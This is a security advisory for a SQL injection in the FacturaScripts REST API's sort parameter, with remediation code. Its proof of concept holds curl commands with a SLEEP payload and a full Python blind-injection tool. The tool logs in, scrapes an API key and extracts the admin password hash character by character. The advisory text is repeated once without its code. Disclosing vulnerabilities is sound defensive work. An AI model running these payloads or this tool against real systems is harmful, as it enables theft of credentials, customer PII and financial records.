Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.
Details
The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.
Vulnerable Code Locations
1. Legacy Models:
File: /Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.
2. Modern Models (DbQuery):
File: /Core/DbQuery.php
Method: orderBy()
Lines: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key:
We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verify Time-Based SQL Injection:
Use the extracted API_KEY in the X-Auth-Token header.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()

Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
References
Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the
sortparameter. The vulnerability exists in theModelClass::getOrderBy()method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.Details
The FacturaScripts REST API exposes database models through various endpoints (e.g.,
/api/3/users,/api/3/attachedfiles,/api/3/customers). These endpoints support asortparameter that allows clients to specify result ordering. The API processes this parameter through theModelClass::all()method, which calls the vulnerablegetOrderBy()function.Vulnerable Code Locations
1. Legacy Models:
File:
/Core/Model/Base/ModelClass.phpMethod:
getOrderBy()Direct concatenation of keys and values from the
$orderarray.2. Modern Models (DbQuery):
File:
/Core/DbQuery.phpMethod:
orderBy()Lines: 255-259
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key:
We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
2. Verify Time-Based SQL Injection:
Use the extracted
API_KEYin theX-Auth-Tokenheader.Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
Impact
Data Confidentiality
Who is Impacted?
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
Option 2: Use Database Escaping Functions
Option 3: Use Query Builder Pattern
API Security Best Practices
Credits
Discovered by: Łukasz Rybak
References